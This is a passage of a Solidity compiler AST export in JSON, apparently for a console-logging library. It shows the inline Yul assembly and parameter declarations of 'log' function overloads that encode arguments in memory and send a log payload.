":"301448:4:22","nodeType":"YulLiteral","src":"301448:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"301439:3:22","nodeType":"YulIdentifier","src":"301439:3:22"},"nativeSrc":"301439:14:22","nodeType":"YulFunctionCall","src":"301439:14:22"},{"arguments":[{"name":"shift","nativeSrc":"301459:5:22","nodeType":"YulIdentifier","src":"301459:5:22"},{"arguments":[{"name":"shift","nativeSrc":"301470:5:22","nodeType":"YulIdentifier","src":"301470:5:22"},{"name":"w","nativeSrc":"301477:1:22","nodeType":"YulIdentifier","src":"301477:1:22"}],"functionName":{"name":"shr","nativeSrc":"301466:3:22","nodeType":"YulIdentifier","src":"301466:3:22"},"nativeSrc":"301466:13:22","nodeType":"YulFunctionCall","src":"301466:13:22"}],"functionName":{"name":"shl","nativeSrc":"301455:3:22","nodeType":"YulIdentifier","src":"301455:3:22"},"nativeSrc":"301455:25:22","nodeType":"YulFunctionCall","src":"301455:25:22"}],"functionName":{"name":"mstore","nativeSrc":"301432:6:22","nodeType":"YulIdentifier","src":"301432:6:22"},"nativeSrc":"301432:49:22","nodeType":"YulFunctionCall","src":"301432:49:22"},"nativeSrc":"301432:49:22","nodeType":"YulExpressionStatement","src":"301432:49:22"}]},"name":"writeString","nativeSrc":"301153:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"301174:3:22","nodeType":"YulTypedName","src":"301174:3:22","type":""},{"name":"w","nativeSrc":"301179:1:22","nodeType":"YulTypedName","src":"301179:1:22","type":""}],"src":"301153:342:22"},{"nativeSrc":"301508:17:22","nodeType":"YulAssignment","src":"301508:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"301520:4:22","nodeType":"YulLiteral","src":"301520:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"301514:5:22","nodeType":"YulIdentifier","src":"301514:5:22"},"nativeSrc":"301514:11:22","nodeType":"YulFunctionCall","src":"301514:11:22"},"variableNames":[{"name":"m0","nativeSrc":"301508:2:22","nodeType":"YulIdentifier","src":"301508:2:22"}]},{"nativeSrc":"301538:17:22","nodeType":"YulAssignment","src":"301538:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"301550:4:22","nodeType":"YulLiteral","src":"301550:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"301544:5:22","nodeType":"YulIdentifier","src":"301544:5:22"},"nativeSrc":"301544:11:22","nodeType":"YulFunctionCall","src":"301544:11:22"},"variableNames":[{"name":"m1","nativeSrc":"301538:2:22","nodeType":"YulIdentifier","src":"301538:2:22"}]},{"nativeSrc":"301568:17:22","nodeType":"YulAssignment","src":"301568:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"301580:4:22","nodeType":"YulLiteral","src":"301580:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"301574:5:22","nodeType":"YulIdentifier","src":"301574:5:22"},"nativeSrc":"301574:11:22","nodeType":"YulFunctionCall","src":"301574:11:22"},"variableNames":[{"name":"m2","nativeSrc":"301568:2:22","nodeType":"YulIdentifier","src":"301568:2:22"}]},{"nativeSrc":"301598:17:22","nodeType":"YulAssignment","src":"301598:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"301610:4:22","nodeType":"YulLiteral","src":"301610:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"301604:5:22","nodeType":"YulIdentifier","src":"301604:5:22"},"nativeSrc":"301604:11:22","nodeType":"YulFunctionCall","src":"301604:11:22"},"variableNames":[{"name":"m3","nativeSrc":"301598:2:22","nodeType":"YulIdentifier","src":"301598:2:22"}]},{"nativeSrc":"301628:17:22","nodeType":"YulAssignment","src":"301628:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"301640:4:22","nodeType":"YulLiteral","src":"301640:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"301634:5:22","nodeType":"YulIdentifier","src":"301634:5:22"},"nativeSrc":"301634:11:22","nodeType":"YulFunctionCall","src":"301634:11:22"},"variableNames":[{"name":"m4","nativeSrc":"301628:2:22","nodeType":"YulIdentifier","src":"301628:2:22"}]},{"nativeSrc":"301658:17:22","nodeType":"YulAssignment","src":"301658:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"301670:4:22","nodeType":"YulLiteral","src":"301670:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"301664:5:22","nodeType":"YulIdentifier","src":"301664:5:22"},"nativeSrc":"301664:11:22","nodeType":"YulFunctionCall","src":"301664:11:22"},"variableNames":[{"name":"m5","nativeSrc":"301658:2:22","nodeType":"YulIdentifier","src":"301658:2:22"}]},{"nativeSrc":"301688:17:22","nodeType":"YulAssignment","src":"301688:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"301700:4:22","nodeType":"YulLiteral","src":"301700:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"301694:5:22","nodeType":"YulIdentifier","src":"301694:5:22"},"nativeSrc":"301694:11:22","nodeType":"YulFunctionCall","src":"301694:11:22"},"variableNames":[{"name":"m6","nativeSrc":"301688:2:22","nodeType":"YulIdentifier","src":"301688:2:22"}]},{"nativeSrc":"301718:17:22","nodeType":"YulAssignment","src":"301718:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"301730:4:22","nodeType":"YulLiteral","src":"301730:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"301724:5:22","nodeType":"YulIdentifier","src":"301724:5:22"},"nativeSrc":"301724:11:22","nodeType":"YulFunctionCall","src":"301724:11:22"},"variableNames":[{"name":"m7","nativeSrc":"301718:2:22","nodeType":"YulIdentifier","src":"301718:2:22"}]},{"nativeSrc":"301748:18:22","nodeType":"YulAssignment","src":"301748:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"301760:5:22","nodeType":"YulLiteral","src":"301760:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"301754:5:22","nodeType":"YulIdentifier","src":"301754:5:22"},"nativeSrc":"301754:12:22","nodeType":"YulFunctionCall","src":"301754:12:22"},"variableNames":[{"name":"m8","nativeSrc":"301748:2:22","nodeType":"YulIdentifier","src":"301748:2:22"}]},{"nativeSrc":"301779:18:22","nodeType":"YulAssignment","src":"301779:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"301791:5:22","nodeType":"YulLiteral","src":"301791:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"301785:5:22","nodeType":"YulIdentifier","src":"301785:5:22"},"nativeSrc":"301785:12:22","nodeType":"YulFunctionCall","src":"301785:12:22"},"variableNames":[{"name":"m9","nativeSrc":"301779:2:22","nodeType":"YulIdentifier","src":"301779:2:22"}]},{"nativeSrc":"301810:19:22","nodeType":"YulAssignment","src":"301810:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"301823:5:22","nodeType":"YulLiteral","src":"301823:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"301817:5:22","nodeType":"YulIdentifier","src":"301817:5:22"},"nativeSrc":"301817:12:22","nodeType":"YulFunctionCall","src":"301817:12:22"},"variableNames":[{"name":"m10","nativeSrc":"301810:3:22","nodeType":"YulIdentifier","src":"301810:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"301913:4:22","nodeType":"YulLiteral","src":"301913:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"301919:10:22","nodeType":"YulLiteral","src":"301919:10:22","type":"","value":"0x21ad0683"}],"functionName":{"name":"mstore","nativeSrc":"301906:6:22","nodeType":"YulIdentifier","src":"301906:6:22"},"nativeSrc":"301906:24:22","nodeType":"YulFunctionCall","src":"301906:24:22"},"nativeSrc":"301906:24:22","nodeType":"YulExpressionStatement","src":"301906:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"301950:4:22","nodeType":"YulLiteral","src":"301950:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"301956:2:22","nodeType":"YulIdentifier","src":"301956:2:22"}],"functionName":{"name":"mstore","nativeSrc":"301943:6:22","nodeType":"YulIdentifier","src":"301943:6:22"},"nativeSrc":"301943:16:22","nodeType":"YulFunctionCall","src":"301943:16:22"},"nativeSrc":"301943:16:22","nodeType":"YulExpressionStatement","src":"301943:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"301979:4:22","nodeType":"YulLiteral","src":"301979:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"301985:4:22","nodeType":"YulLiteral","src":"301985:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"301972:6:22","nodeType":"YulIdentifier","src":"301972:6:22"},"nativeSrc":"301972:18:22","nodeType":"YulFunctionCall","src":"301972:18:22"},"nativeSrc":"301972:18:22","nodeType":"YulExpressionStatement","src":"301972:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302010:4:22","nodeType":"YulLiteral","src":"302010:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"302016:4:22","nodeType":"YulLiteral","src":"302016:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"302003:6:22","nodeType":"YulIdentifier","src":"302003:6:22"},"nativeSrc":"302003:18:22","nodeType":"YulFunctionCall","src":"302003:18:22"},"nativeSrc":"302003:18:22","nodeType":"YulExpressionStatement","src":"302003:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302041:4:22","nodeType":"YulLiteral","src":"302041:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"302047:5:22","nodeType":"YulLiteral","src":"302047:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"302034:6:22","nodeType":"YulIdentifier","src":"302034:6:22"},"nativeSrc":"302034:19:22","nodeType":"YulFunctionCall","src":"302034:19:22"},"nativeSrc":"302034:19:22","nodeType":"YulExpressionStatement","src":"302034:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302078:4:22","nodeType":"YulLiteral","src":"302078:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"302084:2:22","nodeType":"YulIdentifier","src":"302084:2:22"}],"functionName":{"name":"writeString","nativeSrc":"302066:11:22","nodeType":"YulIdentifier","src":"302066:11:22"},"nativeSrc":"302066:21:22","nodeType":"YulFunctionCall","src":"302066:21:22"},"nativeSrc":"302066:21:22","nodeType":"YulExpressionStatement","src":"302066:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302112:4:22","nodeType":"YulLiteral","src":"302112:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"302118:2:22","nodeType":"YulIdentifier","src":"302118:2:22"}],"functionName":{"name":"writeString","nativeSrc":"302100:11:22","nodeType":"YulIdentifier","src":"302100:11:22"},"nativeSrc":"302100:21:22","nodeType":"YulFunctionCall","src":"302100:21:22"},"nativeSrc":"302100:21:22","nodeType":"YulExpressionStatement","src":"302100:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302146:5:22","nodeType":"YulLiteral","src":"302146:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"302153:2:22","nodeType":"YulIdentifier","src":"302153:2:22"}],"functionName":{"name":"writeString","nativeSrc":"302134:11:22","nodeType":"YulIdentifier","src":"302134:11:22"},"nativeSrc":"302134:22:22","nodeType":"YulFunctionCall","src":"302134:22:22"},"nativeSrc":"302134:22:22","nodeType":"YulExpressionStatement","src":"302134:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43698,"isOffset":false,"isSlot":false,"src":"301508:2:22","valueSize":1},{"declaration":43701,"isOffset":false,"isSlot":false,"src":"301538:2:22","valueSize":1},{"declaration":43728,"isOffset":false,"isSlot":false,"src":"301810:3:22","valueSize":1},{"declaration":43704,"isOffset":false,"isSlot":false,"src":"301568:2:22","valueSize":1},{"declaration":43707,"isOffset":false,"isSlot":false,"src":"301598:2:22","valueSize":1},{"declaration":43710,"isOffset":false,"isSlot":false,"src":"301628:2:22","valueSize":1},{"declaration":43713,"isOffset":false,"isSlot":false,"src":"301658:2:22","valueSize":1},{"declaration":43716,"isOffset":false,"isSlot":false,"src":"301688:2:22","valueSize":1},{"declaration":43719,"isOffset":false,"isSlot":false,"src":"301718:2:22","valueSize":1},{"declaration":43722,"isOffset":false,"isSlot":false,"src":"301748:2:22","valueSize":1},{"declaration":43725,"isOffset":false,"isSlot":false,"src":"301779:2:22","valueSize":1},{"declaration":43688,"isOffset":false,"isSlot":false,"src":"301956:2:22","valueSize":1},{"declaration":43690,"isOffset":false,"isSlot":false,"src":"302084:2:22","valueSize":1},{"declaration":43692,"isOffset":false,"isSlot":false,"src":"302118:2:22","valueSize":1},{"declaration":43694,"isOffset":false,"isSlot":false,"src":"302153:2:22","valueSize":1}],"id":43730,"nodeType":"InlineAssembly","src":"301130:1036:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43732,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"302191:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":43733,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"302197:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":43731,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"302175:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43734,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"302175:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43735,"nodeType":"ExpressionStatement","src":"302175:28:22"},{"AST":{"nativeSrc":"302222:334:22","nodeType":"YulBlock","src":"302222:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"302243:4:22","nodeType":"YulLiteral","src":"302243:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"302249:2:22","nodeType":"YulIdentifier","src":"302249:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302236:6:22","nodeType":"YulIdentifier","src":"302236:6:22"},"nativeSrc":"302236:16:22","nodeType":"YulFunctionCall","src":"302236:16:22"},"nativeSrc":"302236:16:22","nodeType":"YulExpressionStatement","src":"302236:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302272:4:22","nodeType":"YulLiteral","src":"302272:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"302278:2:22","nodeType":"YulIdentifier","src":"302278:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302265:6:22","nodeType":"YulIdentifier","src":"302265:6:22"},"nativeSrc":"302265:16:22","nodeType":"YulFunctionCall","src":"302265:16:22"},"nativeSrc":"302265:16:22","nodeType":"YulExpressionStatement","src":"302265:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302301:4:22","nodeType":"YulLiteral","src":"302301:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"302307:2:22","nodeType":"YulIdentifier","src":"302307:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302294:6:22","nodeType":"YulIdentifier","src":"302294:6:22"},"nativeSrc":"302294:16:22","nodeType":"YulFunctionCall","src":"302294:16:22"},"nativeSrc":"302294:16:22","nodeType":"YulExpressionStatement","src":"302294:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302330:4:22","nodeType":"YulLiteral","src":"302330:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"302336:2:22","nodeType":"YulIdentifier","src":"302336:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302323:6:22","nodeType":"YulIdentifier","src":"302323:6:22"},"nativeSrc":"302323:16:22","nodeType":"YulFunctionCall","src":"302323:16:22"},"nativeSrc":"302323:16:22","nodeType":"YulExpressionStatement","src":"302323:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302359:4:22","nodeType":"YulLiteral","src":"302359:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"302365:2:22","nodeType":"YulIdentifier","src":"302365:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302352:6:22","nodeType":"YulIdentifier","src":"302352:6:22"},"nativeSrc":"302352:16:22","nodeType":"YulFunctionCall","src":"302352:16:22"},"nativeSrc":"302352:16:22","nodeType":"YulExpressionStatement","src":"302352:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302388:4:22","nodeType":"YulLiteral","src":"302388:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"302394:2:22","nodeType":"YulIdentifier","src":"302394:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302381:6:22","nodeType":"YulIdentifier","src":"302381:6:22"},"nativeSrc":"302381:16:22","nodeType":"YulFunctionCall","src":"302381:16:22"},"nativeSrc":"302381:16:22","nodeType":"YulExpressionStatement","src":"302381:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302417:4:22","nodeType":"YulLiteral","src":"302417:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"302423:2:22","nodeType":"YulIdentifier","src":"302423:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302410:6:22","nodeType":"YulIdentifier","src":"302410:6:22"},"nativeSrc":"302410:16:22","nodeType":"YulFunctionCall","src":"302410:16:22"},"nativeSrc":"302410:16:22","nodeType":"YulExpressionStatement","src":"302410:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302446:4:22","nodeType":"YulLiteral","src":"302446:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"302452:2:22","nodeType":"YulIdentifier","src":"302452:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302439:6:22","nodeType":"YulIdentifier","src":"302439:6:22"},"nativeSrc":"302439:16:22","nodeType":"YulFunctionCall","src":"302439:16:22"},"nativeSrc":"302439:16:22","nodeType":"YulExpressionStatement","src":"302439:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302475:5:22","nodeType":"YulLiteral","src":"302475:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"302482:2:22","nodeType":"YulIdentifier","src":"302482:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302468:6:22","nodeType":"YulIdentifier","src":"302468:6:22"},"nativeSrc":"302468:17:22","nodeType":"YulFunctionCall","src":"302468:17:22"},"nativeSrc":"302468:17:22","nodeType":"YulExpressionStatement","src":"302468:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302505:5:22","nodeType":"YulLiteral","src":"302505:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"302512:2:22","nodeType":"YulIdentifier","src":"302512:2:22"}],"functionName":{"name":"mstore","nativeSrc":"302498:6:22","nodeType":"YulIdentifier","src":"302498:6:22"},"nativeSrc":"302498:17:22","nodeType":"YulFunctionCall","src":"302498:17:22"},"nativeSrc":"302498:17:22","nodeType":"YulExpressionStatement","src":"302498:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"302535:5:22","nodeType":"YulLiteral","src":"302535:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"302542:3:22","nodeType":"YulIdentifier","src":"302542:3:22"}],"functionName":{"name":"mstore","nativeSrc":"302528:6:22","nodeType":"YulIdentifier","src":"302528:6:22"},"nativeSrc":"302528:18:22","nodeType":"YulFunctionCall","src":"302528:18:22"},"nativeSrc":"302528:18:22","nodeType":"YulExpressionStatement","src":"302528:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43698,"isOffset":false,"isSlot":false,"src":"302249:2:22","valueSize":1},{"declaration":43701,"isOffset":false,"isSlot":false,"src":"302278:2:22","valueSize":1},{"declaration":43728,"isOffset":false,"isSlot":false,"src":"302542:3:22","valueSize":1},{"declaration":43704,"isOffset":false,"isSlot":false,"src":"302307:2:22","valueSize":1},{"declaration":43707,"isOffset":false,"isSlot":false,"src":"302336:2:22","valueSize":1},{"declaration":43710,"isOffset":false,"isSlot":false,"src":"302365:2:22","valueSize":1},{"declaration":43713,"isOffset":false,"isSlot":false,"src":"302394:2:22","valueSize":1},{"declaration":43716,"isOffset":false,"isSlot":false,"src":"302423:2:22","valueSize":1},{"declaration":43719,"isOffset":false,"isSlot":false,"src":"302452:2:22","valueSize":1},{"declaration":43722,"isOffset":false,"isSlot":false,"src":"302482:2:22","valueSize":1},{"declaration":43725,"isOffset":false,"isSlot":false,"src":"302512:2:22","valueSize":1}],"id":43736,"nodeType":"InlineAssembly","src":"302213:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"300833:3:22","parameters":{"id":43695,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43688,"mutability":"mutable","name":"p0","nameLocation":"300845:2:22","nodeType":"VariableDeclaration","scope":43738,"src":"300837:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43687,"name":"uint256","nodeType":"ElementaryTypeName","src":"300837:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43690,"mutability":"mutable","name":"p1","nameLocation":"300857:2:22","nodeType":"VariableDeclaration","scope":43738,"src":"300849:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43689,"name":"bytes32","nodeType":"ElementaryTypeName","src":"300849:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43692,"mutability":"mutable","name":"p2","nameLocation":"300869:2:22","nodeType":"VariableDeclaration","scope":43738,"src":"300861:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43691,"name":"bytes32","nodeType":"ElementaryTypeName","src":"300861:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43694,"mutability":"mutable","name":"p3","nameLocation":"300881:2:22","nodeType":"VariableDeclaration","scope":43738,"src":"300873:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43693,"name":"bytes32","nodeType":"ElementaryTypeName","src":"300873:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"300836:48:22"},"returnParameters":{"id":43696,"nodeType":"ParameterList","parameters":[],"src":"300899:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43778,"nodeType":"FunctionDefinition","src":"302568:1340:22","nodes":[],"body":{"id":43777,"nodeType":"Block","src":"302643:1265:22","nodes":[],"statements":[{"assignments":[43750],"declarations":[{"constant":false,"id":43750,"mutability":"mutable","name":"m0","nameLocation":"302661:2:22","nodeType":"VariableDeclaration","scope":43777,"src":"302653:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43749,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302653:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43751,"nodeType":"VariableDeclarationStatement","src":"302653:10:22"},{"assignments":[43753],"declarations":[{"constant":false,"id":43753,"mutability":"mutable","name":"m1","nameLocation":"302681:2:22","nodeType":"VariableDeclaration","scope":43777,"src":"302673:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43752,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302673:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43754,"nodeType":"VariableDeclarationStatement","src":"302673:10:22"},{"assignments":[43756],"declarations":[{"constant":false,"id":43756,"mutability":"mutable","name":"m2","nameLocation":"302701:2:22","nodeType":"VariableDeclaration","scope":43777,"src":"302693:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43755,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302693:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43757,"nodeType":"VariableDeclarationStatement","src":"302693:10:22"},{"assignments":[43759],"declarations":[{"constant":false,"id":43759,"mutability":"mutable","name":"m3","nameLocation":"302721:2:22","nodeType":"VariableDeclaration","scope":43777,"src":"302713:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43758,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302713:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43760,"nodeType":"VariableDeclarationStatement","src":"302713:10:22"},{"assignments":[43762],"declarations":[{"constant":false,"id":43762,"mutability":"mutable","name":"m4","nameLocation":"302741:2:22","nodeType":"VariableDeclaration","scope":43777,"src":"302733:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43761,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302733:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43763,"nodeType":"VariableDeclarationStatement","src":"302733:10:22"},{"assignments":[43765],"declarations":[{"constant":false,"id":43765,"mutability":"mutable","name":"m5","nameLocation":"302761:2:22","nodeType":"VariableDeclaration","scope":43777,"src":"302753:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43764,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302753:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43766,"nodeType":"VariableDeclarationStatement","src":"302753:10:22"},{"assignments":[43768],"declarations":[{"constant":false,"id":43768,"mutability":"mutable","name":"m6","nameLocation":"302781:2:22","nodeType":"VariableDeclaration","scope":43777,"src":"302773:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43767,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302773:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43769,"nodeType":"VariableDeclarationStatement","src":"302773:10:22"},{"AST":{"nativeSrc":"302802:831:22","nodeType":"YulBlock","src":"302802:831:22","statements":[{"body":{"nativeSrc":"302845:313:22","nodeType":"YulBlock","src":"302845:313:22","statements":[{"nativeSrc":"302863:15:22","nodeType":"YulVariableDeclaration","src":"302863:15:22","value":{"kind":"number","nativeSrc":"302877:1:22","nodeType":"YulLiteral","src":"302877:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"302867:6:22","nodeType":"YulTypedName","src":"302867:6:22","type":""}]},{"body":{"nativeSrc":"302948:40:22","nodeType":"YulBlock","src":"302948:40:22","statements":[{"body":{"nativeSrc":"302977:9:22","nodeType":"YulBlock","src":"302977:9:22","statements":[{"nativeSrc":"302979:5:22","nodeType":"YulBreak","src":"302979:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"302965:6:22","nodeType":"YulIdentifier","src":"302965:6:22"},{"name":"w","nativeSrc":"302973:1:22","nodeType":"YulIdentifier","src":"302973:1:22"}],"functionName":{"name":"byte","nativeSrc":"302960:4:22","nodeType":"YulIdentifier","src":"302960:4:22"},"nativeSrc":"302960:15:22","nodeType":"YulFunctionCall","src":"302960:15:22"}],"functionName":{"name":"iszero","nativeSrc":"302953:6:22","nodeType":"YulIdentifier","src":"302953:6:22"},"nativeSrc":"302953:23:22","nodeType":"YulFunctionCall","src":"302953:23:22"},"nativeSrc":"302950:36:22","nodeType":"YulIf","src":"302950:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"302905:6:22","nodeType":"YulIdentifier","src":"302905:6:22"},{"kind":"number","nativeSrc":"302913:4:22","nodeType":"YulLiteral","src":"302913:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"302902:2:22","nodeType":"YulIdentifier","src":"302902:2:22"},"nativeSrc":"302902:16:22","nodeType":"YulFunctionCall","src":"302902:16:22"},"nativeSrc":"302895:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"302919:28:22","nodeType":"YulBlock","src":"302919:28:22","statements":[{"nativeSrc":"302921:24:22","nodeType":"YulAssignment","src":"302921:24:22","value":{"arguments":[{"name":"length","nativeSrc":"302935:6:22","nodeType":"YulIdentifier","src":"302935:6:22"},{"kind":"number","nativeSrc":"302943:1:22","nodeType":"YulLiteral","src":"302943:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"302931:3:22","nodeType":"YulIdentifier","src":"302931:3:22"},"nativeSrc":"302931:14:22","nodeType":"YulFunctionCall","src":"302931:14:22"},"variableNames":[{"name":"length","nativeSrc":"302921:6:22","nodeType":"YulIdentifier","src":"302921:6:22"}]}]},"pre":{"nativeSrc":"302899:2:22","nodeType":"YulBlock","src":"302899:2:22","statements":[]},"s